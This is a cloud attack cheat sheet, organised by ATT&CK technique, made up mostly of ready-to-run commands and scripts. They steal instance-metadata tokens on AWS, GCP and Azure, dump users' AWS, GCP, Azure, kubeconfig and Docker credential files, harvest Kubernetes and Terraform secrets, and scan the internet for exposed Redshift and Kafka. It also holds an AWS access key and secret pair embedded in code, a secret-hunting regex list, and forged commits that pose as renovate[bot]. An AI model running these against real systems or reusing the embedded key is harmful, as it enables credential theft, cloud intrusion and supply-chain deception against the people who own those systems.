# Cloud TTPs ## Table of Contents - [Azure (T1087.004)](#azure-t1087004) - [AWS (T1552.005)](#aws-t1552005) - [Cognito (T1087.004)](#cognito-t1087004) - [AWS Trivy Scanning (T1595.002)](#aws-trivy-scanning-t1595002) - [SSM (T1021.007)](#ssm-t1021007) - [API Gateway (T1190)](#api-gateway-t1190) - [GCP (T1087.004)](#gcp-t1087004) - [Cloud Subdomain Takeover (T1584.001)](#cloud-subdomain-takeover-t1584001) - [Kubernetes Secrets Harvesting (T1552.007)](#kubernetes-secrets-harvesting-t1552007) - [Kubernetes Service Enumeration (T1046)](#kubernetes-service-enumeration-t1046) - [Kubernetes Ninja Commands (T1609)](#kubernetes-ninja-commands-t1609) - [Password Hunting Regex (T1552)](#password-hunting-regex-t1552) - [Go Environment Variable Enumeration (T1082)](#go-environment-variable-enumeration-t1082) - [Jira (T1087)](#jira-t1087) - [Pentesting Kafka (T1046)](#pentesting-kafka-t1046) - [Post-Exploitation Cloud Credential Harvesting (T1552.001)](#post-exploitation-cloud-credential-harvesting-t1552001) - [IMDS and Container Credential Theft (T1552.005)](#imds-and-container-credential-theft-t1552005) - [Kubernetes Service Account Token Theft (T1552.007)](#kubernetes-service-account-token-theft-t1552007) - [Docker Registry Credential Harvesting (T1552.001)](#docker-registry-credential-harvesting-t1552001) - [CI/CD and IaC Secret Harvesting (T1552.001)](#cicd-and-iac-secret-harvesting-t1552001) --- ## Azure (T1087.004) Enumerate for Priv Esc: ```bash # Login $ az login -u -p # Set Account Subscription $ az account set --subscription "Pay-As-You-Go" # Enumeration for Priv Esc $ az ad user list -o table $ az role assignment list -o table ``` ## AWS (T1552.005) Shodan.io query to enumerate AWS Instance Metadata Service Access ```sh /latest/meta-data/iam/security-credentials ``` Google Dorking for AWS Access Keys ```sh inurl:pastebin "AWS_ACCESS_KEY" ``` Recursively searching for AWS Access Keys on *Nix containers ```bash grep -ER "AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}" / ``` S3 Log Google Dorking ```sh s3 site:amazonaws.com filetype:log ``` Public Redshift Cluster Enumeration ```sh sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 -p5439 --rate=1000 -oG - 2>/dev/null | grep "Ports: 5439/open" | awk '{print $2}' | tee open_5439_ips.txt | xargs -r -n1 -P5 -I{} nmap -p 5439 --script ssl-cert {} | grep -i redshift ``` Python code to check if AWS key has permissions to read s3 buckets: ```python import boto3 import json aws_access_key_id = 'AKIAQYLPMN5HIUI65MP3' aws_secret_access_key = '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' region = 'us-east-2' session = boto3.Session( aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, region_name=region ) s3 = session.resource('s3') try: response = [] for bucket in s3.buckets.all(): response.append(bucket.name) print(json.dumps(response)) except Exception as e: print(f"Error: {e}") ``` Find S3 Buckets Using Subfinder and HTTPX Tool ```sh subfinder -d -all -silent | httpx -silent -webserver -threads 100 | grep -i AmazonS3 ``` ### Cognito (T1087.004) > [!NOTE] > Before proceeding, capture the session's JWT during login and save to a file (ex: `access_token.txt`) > This can be accomplished using your browser developer tools or another method 1. Get user information: ```sh aws cognito-idp get-user --access-token $(cat access_token.txt) ``` 2. Test admin authentication: ```sh aws cognito-idp admin-initiate-auth --access-token $(cat access_token) ``` 3. List user groups: ```sh aws cognito-idp admin-list-groups-for-user \ --username user.name@email.com \ --user-pool-id "Group-Name" ``` 4. Attempt sign up ```sh aws cognito-idp sign-up --client-id --username --password ``` 5. Modify attributes ```sh aws cognito-idp update-user-attributes --access-token $(cat access_token) --user-attributes Name=,Value= ``` ### AWS Trivy Scanning (T1595.002) 1. Install the Trivy AWS plugin: `trivy plugin install github.com/aquasecurity/trivy-aws` 2. Scan a full AWS account (all supported services): ```sh trivy aws --region us-east-1 ``` 3. Scan a specific service: ```sh trivy aws --service s3 ``` 4. Show results for a specific AWS resource: ```sh trivy aws --service s3 --arn arn:aws:s3:::example-bucket ``` ### SSM (T1021.007) Script to quickly enumerate and select AWS SSM-managed EC2 instances via `fzf`, then start an SSM session without needing SSH or public access. ```sh #!/bin/zsh function main() { if ! command -v fzf >/dev/null || ! command -v aws >/dev/null; then echo "This function requires 'aws' CLI and 'fzf' to be installed." >&2 return 1 fi echo -e "Fetching SSM instances..." local instances instances=$(aws ssm describe-instance-information \ --query "InstanceInformationList[*].[InstanceId,ComputerName]" \ --output text) if [[ -z "$instances" ]]; then echo "No SSM-managed instances found." >&2 return 1 fi # Extract Instance IDs local ids=() while read -r id _; do ids+=("$id") done <<< "$instances" # Get Name tags for all instance IDs local name_data name_data=$(aws ec2 describe-instances \ --instance-ids "${ids[@]}" \ --query "Reservations[].Instances[].{InstanceId:InstanceId, Name:(Tags[?Key=='Name']|[0].Value)}" \ --output text) declare -A name_map while read -r id name; do name_map["$id"]="${name:-N/A}" done <<< "$name_data" # Combine data with aligned formatting local enriched enriched=$(while read -r line; do id=$(awk '{print $1}' <<< "$line") hostname=$(awk '{print $2}' <<< "$line") platform=$(awk '{print $3}' <<< "$line") name="${name_map[$id]:-N/A}" printf "%-30s %-20s %-30s\n" "$name" "$id" "$hostname" done <<< "$instances") # Dynamically size the FZF selection window based on amount of instances local line_count line_count=$(echo "$enriched" | wc -l) local height if (( line_count < 10 )); then height=30 elif (( line_count < 20 )); then height=50 else height=80 fi local selected instance_id selected=$(echo "$enriched" | fzf --header="Select an instance to connect via SSM" --height="${height}%" --reverse) instance_id=$(awk '{print $2}' <<< "$selected") if [[ -n "$instance_id" ]]; then echo "Starting SSM session to $instance_id..." >&2 aws ssm start-session --target "$instance_id" else echo "No instance selected." >&2 return 1 fi } main ``` Parameter Store: Lists the parameters in the AWS account or the parameters shared with the authenticated user (secrets can be stored here): ```sh aws ssm describe-parameters ``` ### API Gateway (T1190) AWS API Gateway is a service offered by Amazon Web Services (AWS) designed for developers to create, publish, and oversee APIs on a large scale. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. Enumeration: ```sh # Generic info aws apigatewayv2 get-domain-names aws apigatewayv2 get-domain-name --domain-name aws apigatewayv2 get-vpc-links # Enumerate APIs aws apigatewayv2 get-apis # This will also show the resource policy (if any) aws apigatewayv2 get-api --api-id ## Get all the info from an api at once aws apigatewayv2 export-api --api-id --output-type YAML --specification OAS30 /tmp/api.yaml ## Get stages aws apigatewayv2 get-stages --api-id ## Get routes aws apigatewayv2 get-routes --api-id aws apigatewayv2 get-route --api-id --route-id ## Get deployments aws apigatewayv2 get-deployments --api-id aws apigatewayv2 get-deployment --api-id --deployment-id ## Get integrations aws apigatewayv2 get-integrations --api-id ## Get authorizers aws apigatewayv2 get-authorizers --api-id aws apigatewayv2 get-authorizer --api-id --authorizer-id ## Get domain mappings aws apigatewayv2 get-api-mappings --api-id --domain-name aws apigatewayv2 get-api-mapping --api-id --api-mapping-id --domain-name ## Get models aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` ## GCP (T1087.004) Enumerate IP addresses: ```sh #!/bin/bash # Function to list all projects in the organization list_all_projects() { gcloud projects list --format="value(projectId)" } # Function to check if a specific API is enabled for a project is_api_enabled() { local project=$1 local api=$2 gcloud services list --project="$project" --filter="name:$api" --format="value(name)" } # Function to list all instances in a given project list_instances() { local project=$1 gcloud compute instances list --project="$project" --format="json" } # Main function main() { # Create or clear the files to store public IPs output_file="public_ips.txt" ip_only_file="ip_addresses.txt" : > "$output_file" : > "$ip_only_file" # Get the list of all projects projects=$(list_all_projects) for project in $projects; do echo "Processing Project: $project" # Check if Resource Manager API is enabled for the project if [[ -z "$(is_api_enabled "$project" "cloudresourcemanager.googleapis.com")" ]]; then echo "Resource Manager API is not enabled for project $project. Skipping..." continue fi # Check if Compute Engine API is enabled for the project if [[ -z "$(is_api_enabled "$project" "compute.googleapis.com")" ]]; then echo "Compute Engine API is not enabled for project $project. Skipping..." continue fi # Get the list of all instances in the current project instances=$(list_instances "$project") # Check if there are any instances if [[ "$instances" != "[]" ]]; then # Loop through each instance and extract public IPs for instance in $(echo "$instances" | jq -r '.[] | @base64'); do _jq() { echo "$instance" | base64 --decode | jq -r "$1" } instance_name=$(_jq '.name') zone=$(_jq '.zone' | awk -F/ '{print $NF}') public_ips=$(_jq '.networkInterfaces[].accessConfigs[]?.natIP') # Check if there is a public IP and write to the output files if [[ -n "$public_ips" ]]; then for ip in $public_ips; do echo "$project,$zone,$instance_name,$ip" >> "$output_file" echo "$ip" >> "$ip_only_file" done fi done fi done echo "Public IPs have been written to $output_file" echo "IP addresses have been written to $ip_only_file" } # Execute main function main ``` SSRF URL: ```sh # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` ## Cloud Subdomain Takeover (T1584.001) ```python import requests from bs4 import BeautifulSoup import dns.resolver import argparse from tqdm import tqdm parser = argparse.ArgumentParser( description='Query crt.sh and perform a DNS lookup.') parser.add_argument('domain', help='The domain to query.') args = parser.parse_args() response = requests.get(f"https://crt.sh/?q={args.domain}") soup = BeautifulSoup(response.text, 'html.parser') domain_names = [td.text for td in soup.find_all('td') if not td.attrs] for domain in tqdm(domain_names, desc="Checking for subdomain takeovers"): # Skip invalid and wildcard domains if '*' in domain or len(domain) > 253 or any(len(label) > 63 for label in domain.split('.')): continue # Identify cloud services and check for potential subdomain takeovers try: answers = dns.resolver.resolve(domain, 'CNAME') for rdata in answers: cname = str(rdata.target) if '.amazonaws.com' in cname: response = requests.get(f"http://{domain}") if response.status_code in [403, 404]: print( f"Potential Amazon S3 bucket for subdomain takeover: {domain}") elif '.googleapis.com' in cname: response = requests.get(f"http://{domain}") if response.status_code in [403, 404]: print( f"Potential Google Cloud Storage bucket for subdomain takeover: {domain}") elif '.blob.core.windows.net' in cname: response = requests.get(f"http://{domain}") if response.status_code == 404: print( f"Potential Azure blob storage for subdomain takeover: {domain}") except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN, dns.resolver.YXDOMAIN, dns.resolver.NoNameservers): continue ``` ## Kubernetes Secrets Harvesting (T1552.007) ```bash curl -k -v -H “Authorization: Bearer ” -H “Content-Type: application/json” https://:6443/api/v1/namespaces/default/secrets | jq -r ‘.items[].data’ ``` ## Kubernetes Service Enumeration (T1046) You can find everything exposed to the public with: ```sh kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" kubectl get service -n "$ns" kubectl get ingress -n "$ns" echo "==============================================" echo "" echo "" done | grep -v "ClusterIP" ``` ## Kubernetes Ninja Commands (T1609) ```bash # List all pods in the current namespace. kubectl get pods # Get detailed information about a pod. kubectl describe pod # Create a new pod. kubectl create pod # List all nodes in the cluster. kubectl get nodes # Get detailed information about a node. kubectl describe node # Create a new node kubectl create node # List all services in the cluster. kubectl get services # Get detailed information about a service. kubectl describe service # Create a new service. kubectl create service # List all secrets in the cluster. kubectl get secrets # Get detailed information about a secret. kubectl describe secret # Create a new secret. kubectl create secret ``` ## Password Hunting Regex (T1552) ```yaml “Slack Token”: “(xox[baprs]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})” “RSA Private Key”: “—–BEGIN RSA PRIVATE KEY—–” “SSH (DSA) Private Key”: “—–BEGIN DSA PRIVATE KEY—–” “SSH (EC) Private Key”: “—–BEGIN EC PRIVATE KEY—–” “PGP Private Key Block”: “—–BEGIN PGP PRIVATE KEY BLOCK—–” “AWS API Key”: “(?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}” “Amazon MWS Auth Token”: “amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}” “AWS AppSync GraphQL Key”: “da2-[a-z0-9]{26}” “Facebook Access Token”: “EAACEdEose0cBA[0-9A-Za-z]+” “Facebook OAuth”: “[fF][aA][cC][eE][bB][oO][oO][kK].[’|"][0-9a-f]{32}[’|"]” “GitHub Token”: “[gG][iI][tT][hH][uU][bB].[’|"][0-9a-zA-Z]{35,40}[’|"]” “Generic API Key”: “[aA][pP][iI]?[kK][eE][yY].[’|"][0-9a-zA-Z]{32,45}[’|"]” “Generic Secret”: “[sS][eE][cC][rR][eE][tT].[’|"][0-9a-zA-Z]{32,45}[’|"]” “Google API Key”: “AIza[0-9A-Za-z-]{35}” “Google OAuth Client ID”: “[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com” “Google Service Account”: “"type":\s*"service_account"” “Google OAuth Access Token”: “ya29\.[0-9A-Za-z-]+” “Heroku API Key”: “[hH][eE][rR][oO][kK][uU].*[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}” “MailChimp API Key”: “[0-9a-f]{32}-us[0-9]{1,2}” “Mailgun API Key”: “key-[0-9a-zA-Z]{32}” “Password in URL”: “[a-zA-Z]{3,10}://[^/\s:@]{3,20}:[^/\s:@]{3,20}@.{1,100}["’\s]” “PayPal Braintree Access Token”: “access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}” “Picatic API Key”: “sk_live[0-9a-z]{32}” “Slack Webhook”: “https://hooks\.slack\.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}” “Stripe API Key”: “sk_live_[0-9a-zA-Z]{24}” “Stripe Restricted API Key”: “rk_live_[0-9a-zA-Z]{24}” “Stripe Publishable Key”: “pk_live_[0-9a-zA-Z]{24}” “Square Access Token”: “sq0atp-[0-9A-Za-z-]{22}” “Square OAuth Secret”: “sq0csp-[0-9A-Za-z-]{43}” “Telegram Bot API Key”: “[0-9]+:AA[0-9A-Za-z-]{33}” “Twilio API Key”: “SK[0-9a-fA-F]{32}” “Twitter Access Token”: “[tT][wW][iI][tT][tT][eE][rR].[1-9][0-9]+-[0-9a-zA-Z]{40}” “Twitter OAuth”: “[tT][wW][iI][tT][tT][eE][rR].[’|"][0-9a-zA-Z]{35,44}[’|"]” “OpenAI API Key”: “sk-[A-Za-z0-9]{48}” “GitLab Personal Access Token”: “glpat-[A-Za-z0-9-]{20,}” “GitLab Runner Registration Token”: “GR[A-Za-z0-9-]{20,}” “HashiCorp Terraform Cloud Token”: “tfrc-[A-Za-z0-9]{59}” “Cloudflare API Token”: “cf-[A-Za-z0-9]{37}” “Databricks Personal Access Token”: “dapi[a-f0-9]{32}” “DigitalOcean Personal Access Token”: “dop_v1[A-Za-z0-9]{64}” “Vault HCP Token”: “hvs\.[A-Za-z0-9]{24}” “Azure Storage SAS Token”: “sv=\d{4}-\d{2}-\d{2}&sig=[A-Za-z0-9%]{64}” “New Relic License Key”: “NRAK-[A-F0-9]{27}” “Bitbucket App Password in URL”: “https://[A-Za-z0-9_-]+:[A-Za-z0-9_-]{20}@bitbucket\.org” “Generic JWT”: “[A-Za-z0-9-]{20,}\.[A-Za-z0-9-]{20,}\.[A-Za-z0-9-_]{20,}” ``` ## Go Environment Variable Enumeration (T1082) A sample script that enumerates environment variables. This script pairs well with the regex list provided above: ```go package main import ( "fmt" "os" "strings" ) func main() { sensitiveKeywords := []string{"password", "secret", "key", "token", "api", "auth", "credential"} envVars := os.Environ() for _, e := range envVars { envLower := strings.ToLower(e) for _, keyword := range sensitiveKeywords { if strings.Contains(envLower, keyword) { fmt.Printf("SENSITIVE: %s\n", e) break } } } } ``` ## Jira (T1087) ### Privileges In Jira, privileges can be checked by any user, authenticated or not, through the endpoints `/rest/api/2/mypermissions` or `/rest/api/3/mypermissions`. These endpoints reveal the user's current privileges. ```sh # Check non-authenticated privileges curl https://org.atlassian.net/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' ``` ## Pentesting Kafka (T1046) Use Nmap to detect Kafka brokers and check for open ports: ```sh nmap -p 9092,9093,2181 -sV target.com ``` List brokers via `kafkacat`: ```sh ❯ kcat -b target.com -L Metadata for all topics (from broker -1: target.com:9092/bootstrap): 1 brokers: broker 1 at target.com:9092 (controller) 3 topics: topic "RemoteMonitoringConnectedDevices" with 1 partitions: partition 0, leader 1, replicas: 1, isrs: 1 topic "AlertNotifications" with 1 partitions: partition 0, leader 1, replicas: 1, isrs: 1 topic "__consumer_offsets" with 50 partitions: ``` Enumerating brokers script: ```sh #!/usr/bin/env bash TARGET=$1 PORT=${2:-9092} if [ -z "$TARGET" ]; then echo "Usage: $0 " exit 1 fi # Read all topics for topic in $(kcat -b $TARGET:$PORT -L | grep topic | awk '{print $2}' | sed 's/"//g'); do echo "[*] Topic: $topic" kcat -b $TARGET:$PORT -t $topic -C -c 10 done ``` Save messages for offline analysis; ```sh kcat -b target.com:9092 -t AlertNotifications -C -J | jq . > messages.json ``` ## Post-Exploitation Cloud Credential Harvesting (T1552.001) After gaining access to a host, cloud provider credentials are often stored in well-known file paths. The following enumerates credential files across AWS, GCP, and Azure for all users on the system: ```bash # AWS credentials and config for home in /home/* /root; do for f in "$home/.aws/credentials" "$home/.aws/config"; do [ -f "$f" ] && echo "=== $f ===" && cat "$f" done done # AWS credential environment variables env | grep -E "^AWS_" # GCP application default credentials and service account keys for home in /home/* /root; do find "$home/.config/gcloud" -type f 2>/dev/null | while read -r f; do echo "=== $f ===" && cat "$f" done done cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null env | grep -iE "(GOOGLE|GCLOUD)" # Azure credential files for home in /home/* /root; do find "$home/.azure" -type f 2>/dev/null | while read -r f; do echo "=== $f ===" && cat "$f" done done env | grep -i AZURE ``` ## IMDS and Container Credential Theft (T1552.005) Cloud instance metadata services (IMDS) and container credential endpoints expose temporary credentials. These are commonly targeted after gaining code execution inside a cloud workload: ```bash # AWS EC2 IMDS v1 - List available IAM roles then fetch temporary credentials ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" # AWS ECS container credentials (uses task role URI from environment) curl -s "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}" # GCP - Fetch access token from metadata server curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # Azure IMDS - Fetch managed identity token curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` ## Kubernetes Service Account Token Theft (T1552.007) Kubernetes pods are provisioned with service account tokens that can be used to authenticate to the API server. Common mount paths vary between container runtimes: ```bash # Standard service account token mount paths cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /run/secrets/kubernetes.io/serviceaccount/token # Service account CA certificate and namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt cat /var/run/secrets/kubernetes.io/serviceaccount/namespace # Kubeconfig files across user home directories for home in /home/* /root; do [ -f "$home/.kube/config" ] && echo "=== $home/.kube/config ===" && cat "$home/.kube/config" done # Cluster admin and component configs for f in /etc/kubernetes/admin.conf \ /etc/kubernetes/kubelet.conf \ /etc/kubernetes/controller-manager.conf \ /etc/kubernetes/scheduler.conf; do [ -f "$f" ] && echo "=== $f ===" && cat "$f" done # Enumerate all mounted secrets find /var/secrets /run/secrets -type f 2>/dev/null | while read -r f; do echo "=== $f ===" && cat "$f" 2>/dev/null done # Dump secrets via kubectl if accessible kubectl get secrets --all-namespaces -o json 2>/dev/null ``` ## Docker Registry Credential Harvesting (T1552.001) Docker stores registry authentication tokens in config files that can be used to pull or push images to private registries: ```bash # User Docker configs for home in /home/* /root; do [ -f "$home/.docker/config.json" ] && echo "=== $home/.docker/config.json ===" && cat "$home/.docker/config.json" done # Kaniko builder credentials (common in CI/CD pipelines) cat /kaniko/.docker/config.json 2>/dev/null ``` ## CI/CD and IaC Secret Harvesting (T1552.001) Terraform state files, variable files, and CI/CD configuration files frequently contain plaintext credentials, API keys, and infrastructure secrets: ```bash # Terraform variable files (may contain cloud credentials, database passwords) find / -name "*.tfvars" -type f 2>/dev/null -exec sh -c 'echo "=== {} ===" && cat "{}"' \; # Terraform state files (contain full resource attributes including secrets) find / -name "terraform.tfstate" -type f 2>/dev/null -exec sh -c 'echo "=== {} ===" && cat "{}"' \; # CI/CD configuration files for f in .gitlab-ci.yml .travis.yml Jenkinsfile .drone.yml; do [ -f "$f" ] && echo "=== $f ===" && cat "$f" done # Ansible configuration (may reference vault passwords) cat ansible.cfg 2>/dev/null # Helm chart values (may contain secrets) for home in /home/* /root; do find "$home/.helm" -type f 2>/dev/null | while read -r f; do echo "=== $f ===" && cat "$f" done done ``` ## GitLab TruffleHog Secret Scanning (T1552.001) ```sh trufflehog gitlab --token=$(skate get GITLAB_PAT) --endpoint="https://gitlab.com/MYORG" --only-verified -j > findings.json ``` ## GitHub TruffleHog Secret Scanning (T1552.001) Down and dirty scanning for all repos in a GitHub org for verified secrets using TruffleHog. Clones over SSH, no PAT needed for repo access, just an SSH key with org permissions. ```bash #!/usr/bin/env bash set -euo pipefail for cmd in gh git trufflehog; do if ! command -v "$cmd" &>/dev/null; then echo "Error: $cmd is not installed" >&2 exit 1 fi done RESULTS_DIR="trufflehog-results" ORG="YOUR_ORG" mkdir -p "$RESULTS_DIR" REPOS=() while IFS= read -r line; do REPOS+=("$line") done < <(gh repo list "$ORG" --limit 1000 --json name -q '.[].name') for repo in "${REPOS[@]}"; do echo "Scanning $repo..." if git clone --quiet git@github.com:"$ORG"/"$repo".git; then trufflehog filesystem --only-verified "$repo" > "$RESULTS_DIR/$repo.txt" 2>&1 rm -rf "$repo" else echo "Warning: failed to clone $repo, skipping" >&2 fi done echo "Results saved to $RESULTS_DIR/" ``` ## GitHub Fork Commit Reachability & Metadata Spoofing GitHub's architecture makes any commit pushed to a fork reachable by SHA from the parent repository — `victim/repo/commit/` resolves even if the commit only exists in `attacker/repo`. Combined with Git's unauthenticated author/committer fields, an attacker can forge commits that appear to originate from trusted automation like Renovate bot, reference them under the parent repo's namespace, and exploit the GitHub UI's lack of fork attribution to lend credibility in social engineering or supply chain attacks. ```bash GIT_AUTHOR_NAME="renovate[bot]" \ GIT_AUTHOR_EMAIL="29139614+renovate[bot]@users.noreply.github.com" \ GIT_AUTHOR_DATE="Wed Apr 1 18:51:43 2026 +0000" \ GIT_COMMITTER_NAME="GitHub" \ GIT_COMMITTER_EMAIL="noreply@github.com" \ GIT_COMMITTER_DATE="Wed Apr 1 18:51:43 2026 +0000" \ git commit --no-gpg-sign -m "fix(deps): update module golang.org/x/text to v0.35.0" ```